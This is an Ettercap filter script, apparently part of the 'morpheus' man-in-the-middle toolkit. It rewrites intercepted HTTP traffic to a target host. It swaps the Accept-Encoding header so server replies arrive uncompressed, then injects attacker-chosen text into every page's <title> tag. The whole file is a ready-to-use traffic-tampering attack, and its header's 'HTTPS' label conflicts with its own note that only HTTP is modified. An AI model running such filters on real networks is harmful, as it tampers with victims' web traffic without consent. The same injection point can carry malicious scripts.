############################################################################
#                                                                          #
#  HTTPS Request/Response Filter                                           #
#  based on code from ALoR & NaGA                                          #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################


##
#  This filter will substitute the html tag '<title>'
#  and injects your text in any webpage requested by TaRONE
#  Warning: This filter only modifies http traffic..
##



##########################
## Zap Content Encoding ##
##########################
# change target request to server
if (ip.proto == TCP && tcp.dst == 80) {
  msg("[morpheus] host:TaRONE   [ ⊶ ]  port:80   [tcp] http ☆");
    if (search(DATA.data, "Accept-Encoding")) {  
      replace("Accept-Encoding", "Accept-Rubbishe"); # note: replacement string is same length as original string
      msg("[Morpheus] | Status: Encoding zapped from response ✔");
    }
}



#####################
## Replace Content ##
#####################
# change server response to target
if (ip.proto == TCP && tcp.src == 80) {
  if (search(DATA.data, "<title>")) {
    replace("<title>", "<title> Put what you want here");
    msg("[Morpheus] |_ info : title string replaced and forward to target ✔\n");
  }
}
